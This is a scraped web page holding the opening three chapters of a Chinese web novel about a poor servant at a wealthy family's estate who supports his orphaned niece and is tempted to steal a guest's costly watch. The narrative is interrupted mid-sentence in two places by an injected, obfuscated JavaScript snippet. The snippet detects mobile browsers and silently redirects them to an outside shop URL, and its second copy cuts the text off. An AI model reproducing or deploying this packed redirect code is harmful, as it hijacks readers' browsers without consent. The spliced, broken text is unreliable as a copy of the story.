《炮灰钓鱼,愿者上勾[快穿]》 1. 豪门契约文里的白眼狼老男人佣人1 “林管家,这几个就是最近招的佣人,您可以看一下。” 林管家点点头,看向对方身后的几个人,当视线落在队伍里其中一个男人身上后,眉头微不可察地拧起,“他也是?” 对方循着林管家的视线看了过去,很快就注意到林管家嘴里的那个“他”是谁了。 男人长得不算太高,身材瘦削,身上穿着老旧的衣服,看起来还算干净,一双漆黑眼睛眼珠子正滴溜转着打量着四周。 虽然面相看起来有些精明,但一张长得挺好看的脸和小姑娘一样泛白的肌肤让他整个人在整个队伍里脱颖而出。 这人他是有印象的。 招聘面试的时候就穿得破破烂烂的,人又瘦瘦弱弱的,要不是看这人动手还算利落又那么可怜,他是不会用的。 他生怕林管家有意见。 连忙解释道, “林管家放心,别看他长得瘦,但手脚好,干活什么的都很麻利的。” 做事麻利就好。 就是看起来有些不安分。 林管家眉头拧了拧,最后还是点点头。 这些是要安排在主楼外面照顾花园花草做事的短期佣人,进不去主楼,也接触不了雇主,倒也不需要太高的要求。 “登记一下名字吧,登记完后带他们换上衣服……” 很快换完衣服,几人就在其他人的带领下在外面的花园上忙碌了起来。 霍家老宅占地极广,被郁郁葱葱的树木所环绕,前院是自然式布局的大面积花园,花园里有草坪、景观树、花木、结合了步道和池塘水景,布局精巧。 草木有专门的园艺工人打理,他们只需要处理好卫生就好,姜胥按照领头佣人的话,用长柄网捞走水面上的落叶和树枝,边捞着那双眼睛还边忍不住四处打量, 天色昏暗,落日西沉。 身上那套老旧的衣服已经换下了,姜胥身上穿着统一的工装服,因为身子单薄,所以工装服把腰扎地很细。 三十岁的人了,以前在哥嫂家里赖着、被父母哥嫂们宠着长大,他从小没怎么吃过苦,所以皮肤格外白净,工作累了泛起汗渍后更是莹润泛光。 昏黄的夕阳将他瘦弱单薄的影子拉长,他已经觉得很累了,可看了眼四周没有停下的同事,还是站在一丛丛开得艳丽的月季旁,浑水摸鱼地给月季浇起了水。 书房,窗前。 坐在皮质椅子上的男人双腿交叠,眉目微敛,等到夕阳彻底沉下后,才缓缓将目光收回,落在正在进行着视频会议的电脑屏幕上。 会议结束,响起叩门声。 霍延邵让人进来。 林管家进入后,恭声道,“先生,请柬我都已经备好了。” “派人送出去吧。” “是的,先生。” “霍邱最近怎么样?” 管家顿了顿,回道,“小少爷才转学到英和,目前来说,还不太适应。” 霍邱闭眼靠在椅背上,姿态松弛,闻言只是笑了笑,“你告诉他,要是再闹出原来学校那样的事,那就滚出国。” 老爷子送来的累赘,他不在乎,但霍家现在在他手上,不能丢了他的脸。 管家恭敬应下。 管家离开后,霍延才将目光落在那份资料上,这是他让管家拿上来的,上面是最近新聘的十几个佣人的调查资料。 新聘的佣人资料表面看起来的确干净,男人指尖慢条斯理地翻阅着调查资料,玩味地扯了扯唇角。 因为是临时聘请的人,林管家也没有给他们安排住处,所以在工作了一天后,筋疲力竭的姜胥又回到了他租的那个小出租屋。 出租屋距离工作的地方并不算近,姜胥手头紧,付了房租后只剩下勉强维持一个月的生活费。 所以他没有选择打车,而是坐地铁又转公交,直到天彻底暗了下来才筋疲力竭地回到出租屋。 站在出租屋门前,他摸黑掏出钥匙开门,窸窸窣窣的声音在四周的寂静里很是明显,屋门被打开,姜胥才走进去几步,就听到角落里有个怯生生的声音传来。 “小叔……” 一个脑袋从角落里冒出来。 女孩十四五岁的年纪,格外瘦弱,小脸稚嫩,头发像枯草一样泛着不健康的黄,手里攥着一把刀,见进来的是二叔,才把刀给放下。 姜胥嗯了一声,把手里的东西放在了桌面上。庄园是管饭的,姜胥打包了一些。 “晚饭,吃吧。” 姜珊珊眼睛一亮,从角落里起身哒哒哒就来到桌子旁,她打开了食盒,看着盒子里的饭菜,眼睛微微发亮。 “谢谢小叔。” 姜胥只是可有可无地点点头。 “吃完记得收拾好东西。” “我知道的小叔。” 姜珊珊听话地点头。 姜胥很累,洗漱完后直接回房间休息了。 姜珊珊吃完后,放低了声响收拾好东西,正打算洗漱回房间睡觉,却听见隔壁传来了一阵孩子的哭闹,期间还夹杂着家长恨铁不成钢的怒斥。 “还有一周就开学了,暑假两个月老师布置的作业一点都没碰!每天就知道玩……哭哭哭,哭什么哭,这两周你不把作业写完你就别想玩游戏!” 是啊,还有一周就要开学了。 要是爸爸妈妈还在的话,这个时候,也应该开始给自己准备要带的上学的东西了。 因为高中距离家比较远,不能像以前初中那样办理走读,而她以前都是在家住的,第一次在学校住宿要准备的东西很多,难免要早点准备。 姜珊珊有些恍惚。 只觉得这一个多月来发生的事就像是一场噩梦。 最疼爱自己的父母因为一场车祸去世了,家里失去了顶梁柱,小叔为了能够照顾自己也为了能够工作挣钱,带着自己离开了家。 想到了猝然离世的父母,那股锥心的痛意再次弥漫心间,女孩鼻子一酸,窝在沙发上将自己抱成一团,黑暗中,眼眶里眼泪控制不住地往外涌。 抽泣声微弱,可落在本就不大却又十分寂静的出租屋很是明显,房间里还没睡过去的姜胥睁开了眼,有些烦躁地转了个身。 第二天一早,姜胥又来了庄园打工,还是和昨天相差无几的工作,已经入秋了,这庄园的树木都进入了落叶期,几乎每天都要掉几茬,所以早中晚都要打扫一遍。 这么大的一个庄园,光是那每天请人打扫地上的落叶,恐怕都是一笔很大的开销吧。 这样想着,姜胥的目光不可抑制地流连在庄园里美轮美奂是主楼上,手上的动作慢了下来。 湖面落叶的打捞速度太慢,领班转过头看了一眼,皱眉敲打,“小姜,你不打扫在看什么呢?” “是啊,在看什么呢,再看这房子都不是你的,瞧你这小鸡仔样。” 旁边有个人接话了。 这人长得又黑又壮,最是看不起那些长得白净瘦弱只有一张脸娘们唧唧的男人,他话里带着讥嘲,边说着还边上下打量着姜胥,眼里的嘲笑几乎是毫不掩饰。 四周响起此起彼伏的笑声。 姜胥被这话说得面红耳赤,有些难堪又愤怒地低下头,攥着捞网的细细手指微微泛白,他抿了抿唇,加快了手上的速度。 时间一点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338366|199276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去。 很快就到了午饭时间。 姜胥自己坐在角落里吃午饭,旁边坐着的是几个上了年纪的阿姨,才工作两天,她们显然是已经相处熟了,这时候已经开始拉起了家长了。 说起丈夫,说起家婆,又说起孩子快要开学的事,她们说得很大声,声音轻而易举地就传到了姜胥耳朵里。 傍晚下班,姜胥没有离开。 他守在主楼外,想等林管家,林管家迟迟没出来,姜胥也一直等着。 天逐渐暗了下来。 忽然,一辆黑色轿车停在了门前,车门打开,司机从车上下来打开了后车厢的门,一个男人从车上下来,而这时林管家也从主楼里走出来,匆匆迎了上去。 两人往主楼的方向走。 姜胥犹豫了一下,没有上前。 可男人明显看到了他,脚步停顿了一下,看向林管家。 林管家脸沉了下来,对着男人弯了弯腰说了句什么,随后就朝着自己走来,而男人只是点了点头,就径直进了主楼。 “怎么回事,不是交代了你们不能靠近主楼吗?怎么这么晚了你还不回去?” 林管家有些疾言厉色。 姜胥有些后悔自己的行为了。 但想了想,还是咬咬牙。 “林管家,我是在这里等你的,我想问一下,我能不能预支一下前两个月的工资啊……我家孩子快要开学了,我得给她交学费。” 林管家脸色有些难看。 可看着他卑躬哈腰的样子,还是没有将解雇的话说出口,只是点点头同意了下来。 “等下我就给你转,以后我会告诉领班建个群,你们下次有事就告诉领班,记得以后不要靠近主楼!” “是是是,我知道的林管家。” “嗯,好,你先回去吧。我晚上转过去。” 姜胥千恩万谢地离开了。 林管家叹了口气,转身回了主楼,进主楼发现先生正脱着身上的外套,他连忙上前将外套接了过来,“先生,晚饭已经准备好了。” 霍延邵点点头,罕见问了一句。 “怎么回事?” 林管家一时没反应过来。 等反应过来了连忙回道。 “是在等我的,说是要预支两个月的工资给家里孩子读书,虽然没有这样的先例,但看他可怜,还是做主预给他了……” 这些都是小事。 也是林管家一手处理的。 霍延邵点点头,没再说什么。 他很快吃完饭了。 林管家犹豫了一下,还是上前问道,“先生,老爷子还在疗养院呢,寿宴马上就要到了,要不要让人把老爷子接回来。” “不用了,老爷子身体不适,就让他留在疗养院吧,我们晚辈心意尽了就好。” 霍延邵瞥了他一眼。 “是的,先生。” 林管家心里一凛。 立即垂首,不再多言。 “还有刚刚那个人,把他调到主楼工作吧。” 林管家眼里惊讶,却没有多余发问,而是立即垂首应下。 所以到了第二天,姜胥就被通知自己可以进主楼做事了,他有些惊讶,可看着昨天还嘲笑自己的男人一脸不忿,他心里又忍不住有些得意。 在主楼做事的待遇和在外面做事的待遇是不一样的,不但是普通的工装服换成了更加美观的佣人服,还会安排佣人楼的一间房间作为晚上休息的地方。 换上衣服,姜胥看着宽敞的佣人房,只觉得自己是被天上掉下的大馅饼给砸了个正着,一时间心情紧张又兴奋。 2. 豪门契约文里的白眼狼老男人佣人2 正当他兴奋的时候,房门被敲响了,这是要工作了。 姜胥连忙看了眼自己身上穿的衣服,又用手整理了一下身上的衣服,才打开门走了出去。 跟着来人走出了房间,进了主楼。 明亮光洁的大理石让姜胥不由地心生紧张,他面带局促地跟在来人身后,听着对方嘱咐着各种注意事项, “……工作日的时候,先生中午一般是不回来吃饭的,只有小少爷会回来吃饭,你也要注意着点。等到了晚上的时候,会有按时的轮班……” 已经上了年岁的苗姨面容慈和,嘴里说着一些雇主的忌讳,同时目光不着痕迹地打量着身后的男人。 主楼的佣人早在几个月前就已经补齐,是不会随便进人的,虽然不明白林管家为什么突然把人调进主楼做事,但该教的她都会教。 苗姨显然是在霍宅里工作了几十年,十分清楚雇主的一些忌讳和需求,所以在教导的时候也说得十分细致。 姜胥认真地听着,眼珠子转了转,很快就从对方话里提取出了一些关键的信息。 这家的雇主姓霍,这里是霍家的老宅,除了在疗养院修养的霍老爷子,整个宅子里只住了霍先生和霍先生的侄子两位雇主。 霍先生早出晚归,平常不怎么能够看见,只有晚上会在家用晚饭。霍先生的侄儿年岁和自己侄女差不多,开学就要上高中了,也不怎么回老宅住。 霍宅佣人多,工作少,工资高,除了日常的打扫清洁外就是一些端茶倒水的事,没有工作的时候也可以休息,远比在主楼外辛苦干一整天舒服。 见他真的已经记住了自己的话了,苗姨点点头,带着姜胥离开了副楼,来到了主楼。 才一进主楼,姜胥就被客厅的富丽堂皇给震惊到了,他一路跟着苗姨往里走,一双眼睛滴溜溜地转,眸光不断地流连在一些看起来就很贵的装饰品上。 苗姨回头就注意到了这一幕,皱了皱眉。 她不知道为什么林管家会突然把负责打理庭院的工人招进来,但人既然已经调到了主楼,她却还是尽责地提醒。 “在主楼时收一收眼神,不要东张西望。” 姜胥连忙收回目光,垂下头。 主楼工作的人手目前是够的,所以姜胥被安排在了厨房打下手,日常就是负责洗菜端菜这些活,都不是很重的工作。 姜胥之前也在一些饭店工作过,所以对这些活不算陌生,很快就上手了,苗姨观察了一会儿,见这人虽然看起来不太老实,但做事麻利,也放心地离开了。 时间很快来到晚上,几个佣人排排站着,注意着厨房里面的动静,等厨师一一将菜品制作好了之后,就陆续有佣人走上前将菜端走。 明明只是两个人的的晚饭,可排场却很大,有钱人真的是太过于奢侈了……姜胥有些羡慕又有些忮忌地想。 很快就轮到姜胥端菜了。 他端的菜品是一条鱼。 看不出是什么鱼,但明显是红烧过的,闻起来香气扑鼻,姜胥咽了咽口水,在厨师的催促下将菜品盖上盖子,然后端起走出了厨房。 林管家正守在餐厅外。 见有菜品端来打开盖子看了一眼,叮嘱了一句,“红焖鮰鱼,先生喜欢,放在先生面前。” 姜胥点点头。 捧着菜品进了餐厅。 餐厅里。 一前一后有两个佣人守着,偌大的餐桌上只有两人坐着,气氛沉冷凝滞。 姜胥端着菜品来到餐桌前,还没等他将手上的菜品放到桌面上,却听见一声低沉的男声,“转学手续已经办好了,下周你直接去英和上学。” 砰。 桌面上猛地巨响。 精美的瓷碗被猛地按在桌面上,碗里汤汁四溅出来,少年情绪似乎格外地激动,双手握拳,声音犀利,“我不想转学,你凭什么自作主张。” “也可以。”坐于首座的男人儒温和雅,语气慢条斯理,“我可以让人注销了你的学籍,你以后也不用上学了。” “霍延诏,你凭什么——” 少年声音猛地拔高。 “凭老爷子把你像丢垃圾一样丢给我了,凭我现在是你的监护人。” 霍延诏轻描淡写地打断了对方的不满,他抬眼看向霍邱,周围空气仿佛凝固,压迫感油然而生,低沉的声线不含丝毫情绪。 “霍邱,你没资格选。” 霍邱想反驳,可当目光触及男人冰冷的视线后,整个像是被劈头盖脸地泼了一盆冷水一般,心头猛地一颤,那被无边愤怒所笼罩着的理智这才缓缓回笼。 是啊,他的确没有资格选。 他颓然地放下手,眉眼终于还是染上了几丝怨愤。 父亲已经死了,母亲也已经离开了,就连最疼爱自己的爷爷也被困在疗养院回不来了……他这个霍家长孙还有什么资格选。 想起三叔的手段,他心生怯意。 可这个年纪疯狂滋长的自尊心容不得他低头,他攥紧手心,猛地站起身,椅子摩擦着地板,发出刺耳的声响,离开了餐桌。 霍延邵眼皮都不抬,“上去把门锁上,今晚不要安排给饭。” 林管家欲言又止,可看着脸色冷峻的先生,还是垂声应下。 被餐桌上雇主之间突然爆发的争吵吓了一跳,姜胥脚步一顿,他下意识地放轻了呼吸,小心翼翼地将手上的菜碟地放在桌面上。 碟子里的红焖鮰鱼点缀着葱花,香气扑鼻,因为被管家特意叮嘱过霍先生对这道菜肴颇为喜爱,盛着鮰鱼的盘子自然而然地落在了雇主面前。 男人显然没有因为和晚辈的争吵而失去胃口,他视线在那截白皙细伶手腕上停留了片刻,然后指尖轻扣桌面,声音低沉温和。 “给我盛碗汤。” 正要离开的手停住,姜胥有些紧张,立即恭敬低声应了一声好。 他从桌上取了一个干净的碗,盛了一碗汤放在了男人面前,见男人没有其他的吩咐后,他才缓缓松了口气,然后放轻脚步离开。 短短几天,姜胥就适应了新工作 这天吃饭,又听到两个女同事在说家长里短,姜胥吃得有些心不在焉,犹豫了一下后,也凑了上去。 “两位姐,我想问一下,你们知道附近有哪些高中比较好的吗?……” 两个正家长里短的佣人对视了一眼,其中一个很快出声,语气和善,“好的高中当然有,怎么,小姜你想送孩子去读吗?” “我想送我侄女去读书。” 侄女? 两人显然有些惊讶。 “她父母不送吗?怎么是你送?” “我哥嫂暑假的时候出事了,都不在了,侄女也就我一个亲人了,所以只能是我送了,只是我没接触过这方面的事,所以也不知道该怎么选……” 果然,这话一出,两位女同事看他的眼神瞬间变了,少了几分审视,多了一丝怜悯。 她们两人都是有孩子在附近高中读书的,对一些高中的情况也还算清楚,所以很快就给他提供了几个高中的名字。 姜胥在网上查了一下这几个高中的基本情况,斟酌了一下学费,很快就选中了其中一个 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叔侄两人都不说话,很安静。 时间不早了,姜胥关了电视打算休息,他看了眼还在垂头坐在角落里坐着手工的姜珊珊,拿出手机给姜珊珊转了一点钱,抿了抿唇。 “早点休息吧,入学手续我已经给你办好了,我给你转了一些钱,明天去买学习用品,周一去上学。” 说完,也没在意她的反应,直接回房。 上学? 自己还能上学? 姜珊愣住了。 手里还捏着一个正在穿电线的小零件,回过神后,立即怔怔地看向房间的方向。 良久后,她颤颤地放下手里的零件,拿出了自己的手机。 手机还簇新,这是她初中毕业后爸爸妈妈给她奖励的礼物,不是什么大牌子,却是父母送给她中考结束后的礼物,是为了自己在学校里住着时能方便联系家里买的。 她打开手机,点开了聊天。 一个红包出现在眼前。 这个红包像是开水阀一样,让女孩一个多月来压抑的情绪再也绷不住了,那抹红色在视线里逐渐变得模糊,姜珊死死地咬着唇,不让自己哽咽出声。 泪意模糊间,姜珊珊只觉得眼前恍惚再次浮现了爸爸高大憨厚的身影。 “……爸爸,小叔好讨厌啊,总是欺负我,还抢我的零食。” “小叔怎么会欺负你呢?他只是逗你玩的,他是爸爸的弟弟,以后也会像爸爸一样照顾你保护你的。” “可他抢我零食!” “小叔也还是孩子啊,所以他也喜欢吃零食呀,我们分一些给小叔好不好,等一下爸爸再给你买。” “好吧……” 爸爸,你说得对,在你离开后,小叔也和你一样保护着我…… 姜珊珊的入学很顺利,她上的学校距离小叔叔工作的地方并不算太远,所以周末放学她也偶尔会来到庄园和小叔叔一起回家。 次数多了,一些同事们也对这个女孩有了几分熟悉,在知道她父母在暑假的时候车祸离世,她和二叔被爷爷奶奶们赶出家门后,也是心生怜悯。 又是一个周末,姜珊珊像往常一样坐公交来到庄园,可才庄园范围内,就被道上络绎不绝的豪车景像以及主楼附近四周矗立的保镖给惊到。 不是在主楼工作的佣人是不能够靠近主楼的,姜珊珊也没有靠近主楼,只是站在远处远远地看了一眼,好奇地窥探着她从来没有接触过的繁华世界。 3. 豪门契约文里的白眼狼老男人佣人3 和宴会厅上的热闹不同,主楼的三楼很安静。 再一次催促无果后,林管家看了眼时间,又看了看依旧闭着的门,无声叹了口气后,还是离开了。 奢华的房间里。 几十套剪裁适宜的西装礼服陈列整齐,任人挑选,而本应该挑选其中一件穿上前往宴会厅的男生却只是冷冷地扫了一眼,完全没有想要换衣服下楼的意思。 笃笃笃。 房门被敲响。 霍邱眼里掠过一丝不耐烦。 正要出声,房门就径直被推开了,一个男生从门外自顾自地走进来,看起来熟门熟路,动作自在地仿佛是像是在自己家里那样。 男生穿着一身黑色的西装礼服,头发也打理地精致,面容俊秀,唇角噙着一抹笑,让整个人看起来消减了几分距离感。 “怎么还不下去啊,知意他们都已经来了,就差你了。” 看见来人,霍邱眉眼烦躁少了一些,可还是坐在沙发上,一动不动,语气里带着讽意。 “下去做什么,被他们看笑话吗?” 柳昭脸上的笑意收敛了一些,挑眉一笑,“这话说的,你可是姓霍,谁敢看你的笑话啊?” 霍邱自嘲一笑。 以前他这个霍家小少爷或许还有点份量,虽然是三叔掌家,可上面有爷爷压着,自己父亲虽然平庸但也作为长子在家族里也有分量,他作为长子长孙自然备受重视。 可如今呢? 父亲和小叔夺权失败,一个死了一个生死不明,自己母亲也被迫远赴国外……如今他这个霍家长孙不过是个笑话,只能倚靠着爷爷最后的那点力量保护着自己,像个惶惶不可终日的丧家之犬一样寄人篱下地活着。 他闭了闭眼,没有说话。 霍家发生的事在圈里早已经不是秘闻,柳昭也明白霍邱的想法,可他能做的并不多,只能劝慰。 “好歹是老爷子的寿宴,不管怎么样,你作为孙辈还是要出席的。” “老爷子人还在疗养院呢,他人都不在,这算哪门子的寿宴?” “这种面子上的事你见得还少吗?”柳昭瞥了他一眼,“无论怎么闹,霍家总是有你一份的,难不成你打算以后都不出席这种场合了?” 而且说句不好听的,上头的老爷子已经倒了,霍邱还没成年以后几年只能在在霍延邵眼皮底下生活,撕破脸总归是不好的。 霍邱依旧沉默。 他不是不明白这个道理。 可明白和做不是一回事。 所谓霍家第一个孙辈,他从小被众星捧月地长大,高傲几乎刻进了骨子里,还没学会低头。 柳昭有些无奈。 “而且知意今天本来是有比赛的,为了你还特意推掉了,本还说想要和你一起跳舞呢,你就舍得让她失望?” 霍邱抿唇,一个失神,操纵的人物被打死了,游戏结束音响起,他烦躁地将手里的手柄撂开,起来开始扒拉起衣服。 柳昭笑笑,没有再说什么。 他没兴趣看发小换衣服,起身来到来到窗边懒散地倚着,目光漫无目的地划过窗外,似看见了什么有趣的东西,饶有兴致道。 “你们家什么时候多了小妹妹?” 小妹妹? 霍邱循着他目光看去。 因为举行宴席,整个庄园里灯火通明,从衣帽间的窗户看出去,可以隐约地看到一个女孩的身影。 女孩站在距离主楼不远处的草坪上,并不显眼,对方探头探脑,像是注视着宴会厅的位置。 霍邱皱了皱眉,嫌恶地移开目光,“不是什么妹妹,是佣人的孩子。” …… 因为雇主家举办宴会,所以本来轮班休息的佣人们今晚都要加班,姜胥有些不自在地摸了摸自己身上黑白色的侍者服,深吸一口气后,来到了宴会厅守着。 宴会厅里。 宾客们觥筹交错,侍者往来穿梭。 来来往往的宾客们衣着打扮都尽显富贵,姜胥目光几次落在宾客们身上那些看起来就昂贵的配饰身上,眼底有艳羡一闪而过。 他服务的范围是酒水区,几个西装革履的年轻男人取了一杯酒水后就随意在角落里坐下,窃窃私语了起来。 “不是寿宴吗?怎么没看到寿星公啊?” “我听说是那位把人送去疗养院了,如今也还在疗养院呢,没接回来……” “得,霍家这场夺权大战也是彻底落下帷幕了,说实话,真的快啊,就半个月而已!霍家老大病死了,老二像鹌鹑一样不敢动,老四被流放到国外去了……” “有什么奇怪的,霍家那几位有那个能比得上霍三爷的,不一直都是霍三爷在管吗?” “也是奇怪,霍老大老四两人之前也还算安分,怎么突然就起了夺权的念头了……” “……” 被迫听了一耳朵的豪门夺权大战,姜胥有些走神,直到有破碎声响起,他才回过神,朝着声音的方向看去。 酒水区前面,端着酒水托盘的侍者不断躬声道着歉,而她前面正站着一个中年男人,对方衣服身前几乎都被酒水打湿了,狼狈不堪。 姜胥看了眼,就收回了视线。 正想继续偷懒,可抬眼就注意到正站在二楼的苗婶给他使着眼色,姜胥扯了扯嘴角,还是几步走上前了。 年纪不算大的侍者还在疯狂道歉,姜胥来到他身边弯了弯腰,“先生,休息间有准备备用的衣服,我先带您去把衣服换下来吧。” “晦气。” 霍延仲脸色难看,他沉沉地盯了眼不断道歉的侍者,骂了一声,随后大步离开了宴会厅。 姜胥将人领进了休息室,对方很快就把衣服换好了,换好后直接离开了休息室。 见人离开后,姜胥也进了休息室,弯腰将对方换下的衣服一一捡起来,准备拿到外面去处理。 他正拿起一件衬衣,察觉到手里不同寻常的重量后他立即将手上的其余衣服放在了地上,然后对着衬衣一顿摸索,很快,就摸索到一块硬物。 是一块手表。 深蓝色皮质革带,银白色指针,表盘上点缀着星星点点的深蓝色星空图,在灯光下流光溢彩又尽显深邃。 看着手里的手表,姜胥咽了咽口水,他朝着休息室门的方向看了一眼,然后下意识地几步上前将门锁住,掏出手机打开了物体识别功能。 屏幕上,很快出现了这只手表的商品图,姜胥目光第一眼就落在了商品图的价格上。 3173800。 个、十、百、千、万、十万、百万……百万,三百一十七万。 一个手表,三百多万。 有钱人真奢侈。 这些钱要是捐出去不知道能帮助多少穷人呢,要是他有三百万,应该就可以在京都站稳脚跟。 这样想着,再次落在手表上的目光变了变,休息室里没有其他人,胸腔里急促的心跳声清晰可闻,手表轻飘飘的,可他只觉得自己手心重得吓人。 三百多万呐。 这是他工作一辈子都很难攒到的钱。 姜胥攥着手表的指微微收紧,他紧盯着流光溢彩的表盘,心绪浮动,一个手表而已,有钱人有那么多他们应该不在乎的……只要把手表卖了,他就有三百多万了。 他可以不用工作了,可以供珊珊上一个更好的学校,也可以娶到一个长得好看的老婆了…… 各种情绪在眼底翻涌,最后还是对这三百多万的渴求占据了上风,姜胥没有选择上报给管家,而是小心翼翼地试图把手表放进自己的裤袋里。 这时,手机铃声突然响起。 熟悉的铃声就像一盆冷水劈头盖脸地砸在了他脸上,让他瞬间回过神。 姜胥脸色一变,猛地将已经塞进裤袋的手表甩了出来,手表飞出来落在了地毯上。 意识到自己做了什么,姜胥脸色又变了变,立即又将手表捡起检查了一下,确定表带表盘没有任何损伤后,才松了一口气。 手机继续响着。 他连忙接通了电话。 “喂,苗姐。” “你现在在哪里?刚刚二爷说手表不知道落哪里了?你去休息室看看换下的衣服里有没有,有的话就拿去给宾客,宾客现在在酒水区等着……” “好,我知道了,可能是落在休息室里,苗姨,我现在就去休息室看看……” 手表得还回去了。 三百多万没了。 有钱人真吝啬,一个手表而已。 丢了就丢了,还要找回去。 姜胥心里有些不是滋味,失落的情绪像涌动的潮水一样不断地涌上心头,他脸上情绪有些木,只愣愣地点头应下。 挂了电话,看了眼手里的三百万,想要私藏的欲望还在,可姜胥这时候心里很清楚,他不能这样做,因为要是被发现了,他最后只能进监狱了。 他等了一会儿,然后回拨了电话,“苗姐,手表我找到了,在休息室被换下的衣服里,麻烦让客人等一下,我现在就给客人送去。” 忍痛地用纸巾将手表包起拿在手里,他调整了一下脸上的表情,随后打开了休息室走了出去。 “先生,您的手表我已经找到了,是在休息室里找到的。” “那应该是我在换衣服的时候顺手换下的,谢谢你啊。”霍延仲温和一笑,伸手接过了对方递过来的手表。 “不客气,先生。” 看着手表被取走,姜胥弯了弯指尖,但很快他垂下脸,掩住眼底浓重的失落,礼貌地推辞着。 霍延仲戴着手表,却是将这个侍者眼底的情绪看得一干二净,他眼神微闪,却没有继续说什么,依旧维持着和煦的笑意。 宴会继续进行下去。 霍延仲目光在宴会厅上转了一圈,最后目光落在一个穿着蓝色礼服的女人身上。 女人妆容精致,气质温婉,手里端着一杯酒,身边几乎没有人上前搭话。 阮栀。 本来霍老爷子给霍延邵安排的未婚妻,霍家也隐隐放出来消息,只是随着前段时间发生的事,关于这个联姻的消息也消弭于无了。 霍延仲眼睛微眯,从一旁的侍者托盘里取了一杯酒,然后勾着笑走了上去。 “阮小姐。” 阮栀有些意外,却还是微微一笑。 “二爷。” “我听说阮小姐前段时间飞国外,没想到这么快就回来了,我爸这段时间也常提起阮小姐,要是知道阮小姐回来肯定会很高兴。” “我昨天已经去疗养院看过霍叔叔了,霍叔叔的状态看起来还是很精神的。” “看来我爸恢复得不错,早知道我刚刚就应该就去接我爸过来的,毕竟是寿宴,缺了主角总归不圆满。” 霍延仲笑了笑,话里带着可惜。 阮栀唇角笑意淡了淡,心下也可惜。 怎么会不可惜呢。 按照霍老爷子原本的打算,是要在寿宴上宣布自己和霍延邵的婚事的,可如今老爷子不在,原本所商议要订下的婚事也被无限推迟,甚至是刻意地无视。 但她不能说什么。 “霍叔叔身体虽然恢复了一些,可还是虚弱,待在疗养院是要比带在家里方便一些的,毕竟还是身体更重要。” “这话说的也对。” 霍延仲举了举手里的香槟。 “前几天我去探望老爷子的时候还听他提起老三的婚事呢。听说已经准备选日子了,恭喜啊,到时候记得让老三通知我一声。” 阮栀愣了一下。 反应过来后,她并没有否认,只是点点头,脸上浮现出羞赧,霍延仲笑容深了深,又闲聊了几句后才离开。 他离开后,原本形单影只的阮栀身边的人开始多了起来,阮栀被上前攀谈的人簇拥着在众人不着痕迹地吹捧中,笑得温婉得体,仿佛刚刚的冷待从来没有出现过。 守在在酒水区站了一个多小时,姜胥换班了,他回到了厨房,准备吃晚饭。 因为今天雇主举行宴会,所以菜色格外地好,有比两个拳头还要大的鲍鱼,小臂长的波龙,还有糕点师们精心准备的西式糕点…… 姜胥爱吃,往常要是看到这么好的菜色心里肯定高兴的,但今天情绪大喜大落,他还惦记着那块三百多万的手表,所以情绪一直都不怎么高。 吃完饭,他也闲了下来,只等着宴会结束到时候和其他佣人一起收拾就好,也没回房间,反而是在副楼附近的花园里闲逛着。 因为办宴,所以整个庄园都很明亮,庭园里一草一木都看得清楚。 姜胥本来对这些花啊草啊什么的没多大兴趣,可偶然在园艺师里知道这些花草的价格后,他就时不时的会过来瞅几眼,有见着好看的就用手机拍一拍搜一搜,惊叹有钱人的奢侈,连花草都是金子做的…… 寿宴快结束了。 围绕在阮栀身边的人也逐渐散开了,阮栀环顾了一圈宴会厅,没有看见自己想见到的人,她抿了抿唇,出了宴会厅。 老爷子在的时候,她在老宅住过一段时间,对于主楼的布局也熟悉,很快就上了二楼,她在二楼环视一圈,等果然在熟悉的位置见到霍延邵后,眼睛一亮。 男人身高优越,光华内敛,周身是久居上位掌控一切的气场,他没有给予宴会厅一丝的关注,目光正居高临下地往下看。 按耐着起伏的心绪,阮栀一步步走近,语气温婉坚定,带着几分商量意味,“三爷,可不可以给我几分钟时间?” 霍延邵收回目光,唇角笑意淡了淡,只瞥了身后的人一眼,就移开了目光,眼里没有太多的情绪。 “我想和三爷谈一份合作。” “我知道霍老先生手里还有你需要的东西,三爷,我可以帮你。” 阮栀缓缓说着自己的想法。 霍老爷子虽然被儿子们自相残杀弄得心力交瘁,可到底姜还是老的辣,即便是放权了也会给自己留个后手。 也许后手不多,没办法动摇霍延邵作为霍家掌权者的位置,可若是落到霍家其他人手里,难免会掀起一场波澜。 阮栀自问了解霍延邵。 他是一个富有野心的男人,脾性凉薄,掌控欲强,这种男人不会轻易因为一段普通的风月感情而喜欢上谁,更不会只因为霍老爷子一句话就随便认下了老爷子私自安排的婚约。 所以她需要表现出足够的价值,而被霍老爷子看重,能够在老爷子面前周旋也是她价值的一部分。 说着,阮栀的目光落在男人的侧脸上,深吸了一口气,随后语气诚恳,“要是三爷愿意的话,我可以和你在婚前签一份协议,婚后的一切事情都可以事先谈好,哪怕离婚后我也不会带走霍家的一厘一毫……” 协议夫妻,这是阮栀想要争取的,一个有用且绝对在自己在掌控之内的妻子,她相信霍延邵不会拒绝。 “阮小姐很自信,是觉得有了那份所谓的救命之恩,老爷子就一定会听你的?”顾延邵目光不变,语气平常。 阮栀脸色微变,温声解释,“我并没有这个意思,只是三爷不能否认,霍老先生的确是更属意我成为你的妻子。” 她声音渐低,语气里多了些无奈,“当然,我也是有私心的,这两年我家里也开始给我物色联姻对象了,但我还不想和不熟悉的人建立婚姻关系。” “我知道三爷应该也有这样的烦恼,霍老先生年纪大了,他也一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 